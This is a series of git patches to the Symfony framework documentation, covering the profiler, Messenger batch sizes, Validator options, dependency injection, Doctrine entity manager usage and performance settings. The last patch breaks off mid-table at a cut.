From e8cc35dd010c97c3208c20812f8ab04a214bda45 Mon Sep 17 00:00:00 2001
From: Florimond Manca <florimond.manca@protonmail.com>
Date: Wed, 25 Jan 2023 17:52:22 +0100
Subject: [PATCH 2948/5766] Update "Web debug toolbar" profiler docs

Update profiler.rst
---
 profiler.rst | 34 +++++++++++++++++++++++-----------
 1 file changed, 23 insertions(+), 11 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index 7b5a3373ffa..42428d54b48 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -193,23 +193,35 @@ production. To do that, create an :doc:`event subscriber </event_dispatcher>`
 and listen to the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event::
 
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpKernel\Event\ResponseEvent;
+    use Symfony\Component\HttpKernel\KernelInterface;
 
     // ...
-
-    public function onKernelResponse(ResponseEvent $event)
-    {
-        if (!$event->getKernel()->isDebug()) {
-            return;
+    
+    class MySubscriber implements EventSubscriberInterface {
+        public function __construct(
+            private KernelInterface $kernel,
+        ) {
         }
+        
+        // ...
 
-        $request = $event->getRequest();
-        if (!$request->isXmlHttpRequest()) {
-            return;
-        }
+        public function onKernelResponse(ResponseEvent $event)
+        {
+            if (!$this->kernel->isDebug()) {
+                return;
+            }
 
-        $response = $event->getResponse();
-        $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
+            $request = $event->getRequest();
+            if (!$request->isXmlHttpRequest()) {
+                return;
+            }
+
+            $response = $event->getResponse();
+            $response->headers->set('Symfony-Debug-Toolbar-Replace', 1);
+        }
     }
 
 .. index::

From 3e633c40ddb83314b040a9b92bdf3298d2cbc83c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Feb 2023 13:56:34 +0100
Subject: [PATCH 2949/5766] [Messenger] Allow to define batch size when using
 `BatchHandlerTrait` with `getBatchSize()`

---
 messenger.rst | 16 ++++++++++++++--
 1 file changed, 14 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 05427ac651e..367c0e1951e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2173,14 +2173,26 @@ provided in order to ease the declaration of these special handlers::
             }
         }
 
-        // Optionally, you can redefine the `shouldFlush()` method
-        // of the trait to define your own batch size
+        // Optionally, you can either redefine the `shouldFlush()` method
+        // of the trait to define your own batch size...
         private function shouldFlush(): bool
         {
             return 100 <= \count($this->jobs);
         }
+
+        // ... or redefine the `getBatchSize()` method if the default
+        // flush behavior suits your needs
+        private function getBatchSize(): int
+        {
+            return 100;
+        }
     }
 
+.. versionadded:: 6.3
+
+    The :method:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait::getBatchSize`
+    method was introduced 6.3.
+
 .. note::
 
     When the ``$ack`` argument of ``__invoke()`` is ``null``, the message is

From 86077b9633a33e5fdb20fb11419f98ef1fb588c8 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Feb 2023 14:19:22 +0100
Subject: [PATCH 2950/5766] [Validator] Add missing backquotes

---
 reference/constraints/Length.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 26e93359729..3a197426975 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -163,8 +163,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-exactly
-~~~~~~~
+``exactly``
+~~~~~~~~~~~
 
 **type**: ``integer``
 
@@ -182,8 +182,8 @@ the given value's length is not **exactly** equal to this value.
 
     The named argument ``exactly`` was introduced in Symfony 5.2.
 
-exactMessage
-~~~~~~~~~~~~
+``exactMessage``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should have exactly {{ limit }} characters.``
 

From 7b27adeb70f8f005cadbd908f5a90033e51d6714 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Tue, 21 Feb 2023 14:29:45 +0100
Subject: [PATCH 2951/5766] [Mercure] Remove outdated authorization section

---
 mercure.rst | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index a5c2823df5b..f6dfc33c90a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -193,16 +193,11 @@ MercureBundle provides a more advanced configuration:
 
         {
             "mercure": {
-                "publish": []
+                "publish": ["*"]
             }
         }
 
-    Because the array is empty, the Symfony app will only be authorized to publish
-    public updates (see the authorization_ section for further information).
-
-    The jwt.io website is a convenient way to create and sign JWTs.
-    Checkout this `example JWT`_, that grants publishing rights for all *topics*
-    (notice the star in the array).
+    The jwt.io website is a convenient way to create and sign JWTs, checkout this `example JWT`_.
     Don't forget to set your secret key properly in the bottom of the right panel of the form!
 
 Basic Usage

From ce4b915961ed90eb85b03a171c92588467d788b3 Mon Sep 17 00:00:00 2001
From: spackmat <gregor@der-meyer.de>
Date: Tue, 21 Feb 2023 15:56:38 +0100
Subject: [PATCH 2952/5766] [Validator] Implement countUnit option for Length
 constraint

Resolves https://github.com/symfony/symfony-docs/issues/17945
---
 reference/constraints/Length.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 89e8b02547d..b00ba485ee0 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -123,6 +123,29 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
+``countUnit``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``Length::COUNT_CODEPOINTS``
+
+The character count unit to use for the length check. By default :phpfunction:`mb_strlen`
+is used, which counts Unicode code points.
+
+Can be one of the following constants of the
+:class:`Symfony\\Component\\Validator\\Constraints\\Length` class:
+
+* ``COUNT_BYTES``: Uses :phpfunction:`strlen` counting the length of the string in bytes.
+* ``COUNT_CODEPOINTS``: Uses :phpfunction:`mb_strlen` counting the length of the string in Unicode
+  code points. This was the sole behavior until Symfony 6.2 and is the default since Symfony 6.3.
+  Simple (multibyte) Unicode characters count as 1 character, while for example ZWJ sequences of
+  composed emojis count as multiple characters.
+* ``COUNT_GRAPHEMES``: Uses :phpfunction:`grapheme_strlen` counting the length of the string in
+  graphemes, i.e. even emojis and ZWJ sequences of composed emojis count as 1 character.
+
+.. versionadded:: 6.3
+
+    The ``countUnit`` option was introduced in Symfony 6.3.
+
 ``exactly``
 ~~~~~~~~~~~
 

From 80ba3fb94406aa251681ab2159874f177c604dd4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Feb 2023 14:01:02 +0100
Subject: [PATCH 2953/5766] [DependencyInjection] Allow trimming service
 parameters value in XML configuration files

---
 configuration.rst | 17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index e7fa6416ab8..ee8b95a367b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -272,8 +272,8 @@ reusable configuration value. By convention, parameters are defined under the
 
 .. caution::
 
-    When using XML configuration, the values between ``<parameter>`` tags are
-    not trimmed. This means that the value of the following parameter will be
+    By default and when using XML configuration, the values between ``<parameter>``
+    tags are not trimmed. This means that the value of the following parameter will be
     ``'\n    something@example.com\n'``:
 
     .. code-block:: xml
@@ -282,10 +282,23 @@ reusable configuration value. By convention, parameters are defined under the
             something@example.com
         </parameter>
 
+    If you want to trim the value of your parameter, use the ``trim`` attribute.
+    When using it, the value of the following parameter will be ``something@example.com``:
+
+    .. code-block:: xml
+
+        <parameter key="app.admin_email" trim="true">
+            something@example.com
+        </parameter>
+
 .. versionadded:: 6.2
 
     Passing an enum case as a service parameter was introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The ``trim`` attribute was intrduced in Symfony 6.3.
+
 Once defined, you can reference this parameter value from any other
 configuration file using a special syntax: wrap the parameter name in two ``%``
 (e.g. ``%app.admin_email%``):

From 6e2e2f79ce2b89a2f139df0ee06feb435d75bc39 Mon Sep 17 00:00:00 2001
From: Gregor Nathanael Meyer <Gregor@der-meyer.de>
Date: Tue, 21 Feb 2023 16:23:44 +0100
Subject: [PATCH 2954/5766] Update reference/constraints/Length.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 reference/constraints/Length.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index b00ba485ee0..7ed54ea3289 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -124,7 +124,7 @@ Parameter          Description
 =================  ============================================================
 
 ``countUnit``
-~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Length::COUNT_CODEPOINTS``
 

From 6c97ce47efbd36c0d2089769a55f671ca733181b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Feb 2023 16:50:00 +0100
Subject: [PATCH 2955/5766] Reword

---
 console/input.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/console/input.rst b/console/input.rst
index 69304b7551a..db1e1fcb2b8 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -396,11 +396,11 @@ to help you unit test the completion logic::
             $suggestions = $tester->complete(['']);
             $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
 
-            // complete the input with "Fa" as input
-            // note that the list does not reduce because the completion tester doesn't run any shell, 
-            // it only tests the PHP part of the completion logic, so it should always include all values
+            // If you filter the values inside your own code (not recommended, unless you
+            // need to improve performance of e.g. a database query), you can test this
+            // by passing the user input
             $suggestions = $tester->complete(['Fa']);
-            $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
+            $this->assertSame(['Fabien', 'Fabrice'], $suggestions);
         }
     }
 

From d0ecbbc7c940ae22ee86832661c231d53f689c0c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Feb 2023 17:14:17 +0100
Subject: [PATCH 2956/5766] Minor tweak

---
 profiler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/profiler.rst b/profiler.rst
index 42428d54b48..e889ba527b8 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -200,10 +200,10 @@ event::
 
     // ...
     
-    class MySubscriber implements EventSubscriberInterface {
-        public function __construct(
-            private KernelInterface $kernel,
-        ) {
+    class MySubscriber implements EventSubscriberInterface
+    {
+        public function __construct(private KernelInterface $kernel)
+        {
         }
         
         // ...

From 74ee5c74f2a037bc5b40f8ad49f895b17c65c6e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Feb 2023 17:29:21 +0100
Subject: [PATCH 2957/5766] Tweak

---
 service_container.rst | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 1757dcf7a8c..7c7d6dbef75 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1284,17 +1284,13 @@ When using PHP closures to configure your services, it is possible to automatica
 inject the current environment value by adding a string argument named ``$env`` to
 the closure::
 
-.. configuration-block::
-
-    .. code-block:: php
+    // config/packages/my_config.php
+    namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        // config/packages/my_config.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator, string $env) {
-            // `$env` is automatically filled in, you can configure your
-            // services depending on which environment you're on
-        };
+    return function(ContainerConfigurator $configurator, string $env) {
+        // `$env` is automatically filled in, so you can configure your
+        // services depending on which environment you're on
+    };
 
 Learn more
 ----------

From a8770de8f360555467e668a24e511b034c0839f2 Mon Sep 17 00:00:00 2001
From: Sergey Rabochiy <upyx.00@gmail.com>
Date: Sat, 17 Dec 2022 01:49:09 +0700
Subject: [PATCH 2958/5766] [DependencyInjection] Remove not implemented
 behavior

---
 service_container/service_subscribers_locators.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 2630db0977d..e60cb8686b0 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -309,8 +309,6 @@ or directly via PHP attributes:
                     <argument type="service_locator">
                         <argument key="App\FooCommand" type="service" id="app.command_handler.foo"/>
                         <argument key="App\BarCommand" type="service" id="app.command_handler.bar"/>
-                        <!-- if the element has no key, the ID of the original service is used -->
-                        <argument type="service" id="app.command_handler.baz"/>
                     </argument>
                 </service>
             </services>
@@ -331,8 +329,6 @@ or directly via PHP attributes:
                     // In versions earlier to Symfony 5.1 the service() function was called ref()
                     'App\FooCommand' => service('app.command_handler.foo'),
                     'App\BarCommand' => service('app.command_handler.bar'),
-                    // if the element has no key, the ID of the original service is used
-                    service('app.command_handler.baz'),
                 ])]);
         };
 

From 1405de3086b002bc5dc4b3de3039a2dca4783e02 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andreas=20Sch=C3=B6nefeldt?=
 <1157580+Andreas-Schoenefeldt@users.noreply.github.com>
Date: Wed, 7 Dec 2022 17:45:19 +0100
Subject: [PATCH 2959/5766] clarify that Bundle and AbstractBundle are
 different

Please see https://stackoverflow.com/questions/74704768/invalidconfigurationexception-with-custom-bundle-in-symfony6-2 for the details.
---
 bundles/configuration.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 50b68705698..6d7754d63ae 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -319,13 +319,17 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
-Using the Bundle Class
-----------------------
+Using the AbstractBundle Class
+------------------------------
 
 .. versionadded:: 6.1
 
     The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
+.. caution::
+
+    This is an alternative implementation to the above mentioned Bundle class. You can use one of these approaches but not both at the same time.
+
 Instead of creating an extension and configuration class, you can also
 extend :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to
 add this logic to the bundle class directly::

From bead3d788af4841c319fa624b7f4e7273982614d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Feb 2023 17:59:34 +0100
Subject: [PATCH 2960/5766] Tweaks

---
 bundles/configuration.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 6d7754d63ae..ce855e8b792 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -319,6 +319,8 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
+.. _using-the-bundle-class:
+
 Using the AbstractBundle Class
 ------------------------------
 
@@ -326,13 +328,10 @@ Using the AbstractBundle Class
 
     The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
-.. caution::
-
-    This is an alternative implementation to the above mentioned Bundle class. You can use one of these approaches but not both at the same time.
-
-Instead of creating an extension and configuration class, you can also
-extend :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to
-add this logic to the bundle class directly::
+As an alternative, instead of creating an extension and configuration class as
+shown in the previous section, you can also extend
+:class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to add this
+logic to the bundle class directly::
 
     // src/AcmeSocialBundle.php
     namespace Acme\SocialBundle;

From 7341fb503e78187615a61ec24fd0a51e6e99179f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 21 Feb 2023 19:34:18 +0100
Subject: [PATCH 2961/5766] [FrameworkBundle] Add
 `framework.http_cache.skip_response_headers` option

---
 reference/configuration/framework.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 97f4a1a8e26..9284771c1cf 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -119,6 +119,18 @@ Set of request headers that trigger "private" cache-control behavior on response
 that don't explicitly state whether the response is public or private via a
 Cache-Control directive. (default: Authorization and Cookie)
 
+skip_response_headers
+.....................
+
+**type**: ``array`` **default**: ``Set-Cookie``
+
+Set of response headers that will never be cached even when the response is cacheable
+and public.
+
+.. versionadded:: 6.3
+
+    The ``skip_response_headers`` option was introduced in Symfony 6.3.
+
 allow_reload
 ............
 

From 8978cd800d3eebc815313ac48af2315de8fce606 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 22 Feb 2023 09:06:23 +0100
Subject: [PATCH 2962/5766] Fix build

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 7c7d6dbef75..887c2b46bf2 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1287,7 +1287,7 @@ the closure::
     // config/packages/my_config.php
     namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-    return function(ContainerConfigurator $configurator, string $env) {
+    return function(ContainerConfigurator $containerConfigurator, string $env) {
         // `$env` is automatically filled in, so you can configure your
         // services depending on which environment you're on
     };

From 4ba2bcc4578380c2ea86e1a14c9f264674a82ee4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Feb 2023 20:35:54 +0100
Subject: [PATCH 2963/5766] [DependencyInjection] Autoconfigurable attributes

---
 service_container/tags.rst | 48 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 0097d059c76..d948dde300b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -175,6 +175,54 @@ In a Symfony bundle, call this method in the ``load()`` method of the
         }
     }
 
+Autoconfiguration registering is not limited to interfaces. It is possible
+to use PHP 8 attributes to autoconfigure services by using the
+:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+method::
+
+    // src/Attribute/SensitiveElement.php
+    namespace App\Attribute;
+
+    #[\Attribute(\Attribute::TARGET_CLASS)]
+    class SensitiveElement
+    {
+        private string $token;
+
+        public function __construct(string $token)
+        {
+            $this->token = $token;
+        }
+
+        public function getToken(): string
+        {
+            return $this->token;
+        }
+    }
+
+    // src/Kernel.php
+    use App\Attribute\SensitiveElement;
+
+    class Kernel extends BaseKernel
+    {
+        // ...
+
+        protected function build(ContainerBuilder $containerBuilder): void
+        {
+            // ...
+
+            $containerBuilder->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (ChildDefinition $definition, SensitiveElement $attribute, \ReflectionClass $reflector): void {
+                // Apply the 'app.sensitive_element' tag to all classes with SensitiveElement
+                // attribute, and attach the token value to the tag
+                $definition->addTag('app.sensitive_element', ['token' => $attribute->getToken()]);
+            });
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+    method was introduced in Symfony 5.3.
+
 Creating custom Tags
 --------------------
 

From ad55b0df0aab860a0a3b9ec55362c7c7266ca590 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Feb 2023 15:20:16 +0100
Subject: [PATCH 2964/5766] Typo

---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index ee8b95a367b..7b5a41f13b8 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -297,7 +297,7 @@ reusable configuration value. By convention, parameters are defined under the
 
 .. versionadded:: 6.3
 
-    The ``trim`` attribute was intrduced in Symfony 6.3.
+    The ``trim`` attribute was introduced in Symfony 6.3.
 
 Once defined, you can reference this parameter value from any other
 configuration file using a special syntax: wrap the parameter name in two ``%``

From 1d6580bf2e63ef6ccb9b6a55fc1a9d7b15ae9679 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Wed, 22 Feb 2023 23:24:52 +0100
Subject: [PATCH 2965/5766] update some doctrine documentation

---
 doctrine.rst | 34 +++++++++++++++-------------------
 1 file changed, 15 insertions(+), 19 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 398bfae09b6..2879ca54332 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -278,12 +278,13 @@ methods:
 
       // src/Entity/Product.php
       // ...
+    +  use Doctrine\DBAL\Types\Types;
 
       class Product
       {
           // ...
 
-    +     #[ORM\Column(type: 'text')]
+    +     #[ORM\Column(type: Types::TEXT)]
     +     private $description;
 
           // getDescription() & setDescription() were also added
@@ -350,17 +351,15 @@ and save it::
 
     // ...
     use App\Entity\Product;
-    use Doctrine\Persistence\ManagerRegistry;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
         #[Route('/product', name: 'create_product')]
-        public function createProduct(ManagerRegistry $doctrine): Response
+        public function createProduct(EntityManagerInterface $entityManager): Response
         {
-            $entityManager = $doctrine->getManager();
-
             $product = new Product();
             $product->setName('Keyboard');
             $product->setPrice(1999);
@@ -394,13 +393,10 @@ Take a look at the previous example in more detail:
 
 .. _doctrine-entity-manager:
 
-* **line 13** The ``ManagerRegistry $doctrine`` argument tells Symfony to
-  :ref:`inject the Doctrine service <services-constructor-injection>` into the
-  controller method.
-
-* **line 15** The ``$doctrine->getManager()`` method gets Doctrine's
-  *entity manager* object, which is the most important object in Doctrine. It's
-  responsible for saving objects to, and fetching objects from, the database.
+* **line 13** The ``EntityManagerInterface $entityManager`` argument tells Symfony 
+  to :ref:`inject the Entity Manager service <services-constructor-injection>` into 
+  the controller method. This object is responsible for saving objects to, and
+  fetching objects from, the database.
 
 * **lines 17-20** In this section, you instantiate and work with the ``$product``
   object like any other normal PHP object.
@@ -499,6 +495,7 @@ be able to go to ``/product/1`` to see your new product::
     namespace App\Controller;
 
     use App\Entity\Product;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     // ...
@@ -506,9 +503,9 @@ be able to go to ``/product/1`` to see your new product::
     class ProductController extends AbstractController
     {
         #[Route('/product/{id}', name: 'product_show')]
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(EntityManagerInterface $entityManager, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->find($id);
+            $product = $entityManager->getRepository(Product::class)->find($id);
 
             if (!$product) {
                 throw $this->createNotFoundException(
@@ -558,7 +555,7 @@ job is to help you fetch entities of a certain class.
 
 Once you have a repository object, you have many helper methods::
 
-    $repository = $doctrine->getRepository(Product::class);
+    $repository = $entityManager->getRepository(Product::class);
 
     // look for a single Product by its primary key (usually "id")
     $product = $repository->find($id);
@@ -826,9 +823,8 @@ with any PHP model::
     class ProductController extends AbstractController
     {
         #[Route('/product/edit/{id}', name: 'product_edit')]
-        public function update(ManagerRegistry $doctrine, int $id): Response
+        public function update(EntityManagerInterface $entityManager, int $id): Response
         {
-            $entityManager = $doctrine->getManager();
             $product = $entityManager->getRepository(Product::class)->find($id);
 
             if (!$product) {
@@ -877,7 +873,7 @@ You've already seen how the repository object allows you to run basic queries
 without any work::
 
     // from inside a controller
-    $repository = $doctrine->getRepository(Product::class);
+    $repository = $entityManager->getRepository(Product::class);
     $product = $repository->find($id);
 
 But what if you need a more complex query? When you generated your entity with
@@ -944,7 +940,7 @@ Now, you can call this method on the repository::
     // from inside a controller
     $minPrice = 1000;
 
-    $products = $doctrine->getRepository(Product::class)->findAllGreaterThanPrice($minPrice);
+    $products = $entityManager->getRepository(Product::class)->findAllGreaterThanPrice($minPrice);
 
     // ...
 

From 4c49b0ece18ce5d0ac5f93844c0b9433b71b7dff Mon Sep 17 00:00:00 2001
From: Ruud Kamphuis <ruudk@users.noreply.github.com>
Date: Wed, 22 Feb 2023 12:43:59 +0100
Subject: [PATCH 2966/5766] Disable dumping the container as XML in debug mode

Closes #17952
---
 performance.rst | 41 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)

diff --git a/performance.rst b/performance.rst
index 17c77d7c038..297a1bdec47 100644
--- a/performance.rst
+++ b/performance.rst
@@ -217,6 +217,47 @@ deployment process too):
   used in your application and prevents Composer from scanning the file system for
   classes that are not found in the class map. (see: `Composer's autoloader optimization`_).
 
+Disable Dumping the Container as XML in Debug Mode
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+In debug mode, Symfony compiles the :doc:`service container </service_container>`
+into an XML file. This XML file is used by various commands such as
+``debug:container`` and ``debug:autowiring``. When the container grows larger and larger,
+so does the size of the file and the time to generate it. Sometimes the benefit of this
+file does not outweigh the decrease in performance.
+
+In these situations, you can disable dumping of the XML file by setting `debug.container.dump` to `false`:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        parameters:
+            # ...
+            debug.container.dump: false
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <parameters>
+                <!-- ... -->
+                <parameter key="debug.container.dump">false</parameter>
+            </parameters>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+
+        // ...
+        $container->parameters()->set('debug.container.dump', false);
+
 .. _profiling-applications:
 
 Profiling Symfony Applications

From ea945b039a299931564ba3eee519395278872a97 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 23 Feb 2023 11:05:18 +0100
Subject: [PATCH 2967/5766] [DependencyInjection] Add `#[Exclude]` attribute

---
 service_container.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 887c2b46bf2..f3279da1cd3 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1074,7 +1074,14 @@ key. For example, the default Symfony configuration contains this:
 .. tip::
 
     The value of the ``resource`` and ``exclude`` options can be any valid
-    `glob pattern`_.
+    `glob pattern`_. If you want to exclude only a few services, you
+    may use the :class:`Symfony\\Component\\Dependency\Injection\\Attribute\\Exclude`
+    attribute directly on your class to exclude it.
+
+    .. versionadded:: 6.3
+
+        The :class:`Symfony\\Component\\Dependency\Injection\\Attribute\\Exclude`
+        attribute was introduced in Symfony 6.3.
 
 This can be used to quickly make many classes available as services and apply some
 default configuration. The ``id`` of each service is its fully-qualified class name.

From 1a1fb8fbf23650e817695d9130ce0e20a0a2ac98 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 22 Feb 2023 18:22:30 +0100
Subject: [PATCH 2968/5766] [Validator] Add the option `filenameMaxLength` to
 the File constraint

---
 reference/constraints/File.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index f407942a53d..c6038cde7d7 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -268,6 +268,38 @@ You can find a list of existing mime types on the `IANA website`_.
     (i.e. the form type is not defined explicitly in the ``->add()`` method of
     the form builder) and when the field doesn't define its own ``accept`` value.
 
+``filenameMaxLength``
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``null``
+
+.. versionadded:: 6.3
+
+    The ``filenameMaxLength`` was introduced in Symfony 6.3.
+
+If set, the validator will check that the filename of the underlying file
+doesn't exceed a certain length.
+
+``filenameTooLongMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The filename is too long. It should have {{ filename_max_length }} character or less.|The filename is too long. It should have {{ filename_max_length }} characters or less.``
+
+.. versionadded:: 6.3
+
+    The ``filenameTooLongMessage`` was introduced in Symfony 6.3.
+
+The message displayed if the filename of the file exceeds the limit set
+with the ``filenameMaxLength`` option.
+
+You can use the following parameters in this message:
+
+==============================  ==============================================================
+Parameter                       Description
+==============================  ==============================================================
+``{{ filename_max_length }}``   Maximum number of characters allowed
+==============================  ==============================================================
+
 ``extensionsMessage``
 ~~~~~~~~~~~~~~~~~~~~~
 

From fc1ba2994d68dabb5e5fc30e1c9657f3d093e908 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Wed, 22 Feb 2023 21:15:30 +0100
Subject: [PATCH 2969/5766] [Mailer] Adding the `sandbox` option in Mailjet API

---
 mailer.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index ae549c7dcea..97ae19b127e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -171,7 +171,7 @@ Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+ht
 Google Gmail         gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
 Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
